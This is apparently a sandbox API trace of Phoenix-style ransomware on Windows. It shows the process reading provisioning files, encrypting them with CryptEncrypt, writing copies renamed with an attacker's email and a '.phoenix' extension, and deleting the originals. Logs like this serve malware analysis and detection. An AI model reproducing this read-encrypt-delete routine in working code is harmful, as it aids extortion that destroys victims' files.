	[0253.546] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.547] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=737) returned 1
	[0253.547] CloseHandle (hObject=0x2fc) returned 1
	[0253.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.547] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.547] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.547] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.547] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.548] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0253.548] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.548] ReadFile (in: hFile=0x2fc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e1, lpOverlapped=0x0) returned 1
	[0253.614] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0253.614] WriteFile (in: hFile=0x2f8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0253.615] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0253.615] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.615] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0253.615] CryptDestroyKey (hKey=0x151040) returned 1
	[0253.615] WriteFile (in: hFile=0x2f8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0253.615] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0253.615] CloseHandle (hObject=0x2fc) returned 1
	[0253.615] CloseHandle (hObject=0x2f8) returned 1
	[0253.615] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.616] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.616] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.617] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=724) returned 1
	[0253.617] CloseHandle (hObject=0x2f8) returned 1
	[0253.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.617] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.617] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.618] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.618] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0253.618] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0253.618] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.618] ReadFile (in: hFile=0x2f8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d4, lpOverlapped=0x0) returned 1
	[0253.638] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0253.638] WriteFile (in: hFile=0x2fc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0253.639] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.640] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.640] CryptDestroyKey (hKey=0x151080) returned 1
	[0253.640] WriteFile (in: hFile=0x2fc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.640] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0253.640] CloseHandle (hObject=0x2f8) returned 1
	[0253.640] CloseHandle (hObject=0x2fc) returned 1
	[0253.640] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.646] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.648] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=708) returned 1
	[0253.648] CloseHandle (hObject=0x2c8) returned 1
	[0253.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.648] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.648] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.649] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.653] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0253.653] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.653] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c4, lpOverlapped=0x0) returned 1
	[0253.660] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0253.660] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.661] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0253.661] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.661] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.661] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.661] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.661] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0253.661] CloseHandle (hObject=0x2c8) returned 1
	[0253.661] CloseHandle (hObject=0x2b0) returned 1
	[0253.661] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.662] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.663] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=637) returned 1
	[0253.663] CloseHandle (hObject=0x2b0) returned 1
	[0253.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.663] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.663] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.664] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0253.664] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.664] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x27d, lpOverlapped=0x0) returned 1
	[0253.673] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x280, dwBufLen=0x280 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x280) returned 1
	[0253.673] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x280, lpOverlapped=0x0) returned 1
	[0253.674] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0253.674] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.674] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0253.674] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.674] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0253.675] CryptDestroyKey (hKey=0x151740) returned 1
	[0253.675] CloseHandle (hObject=0x2b0) returned 1
	[0253.675] CloseHandle (hObject=0x2c8) returned 1
	[0253.675] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.676] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.677] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=706) returned 1
	[0253.677] CloseHandle (hObject=0x2c8) returned 1
	[0253.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
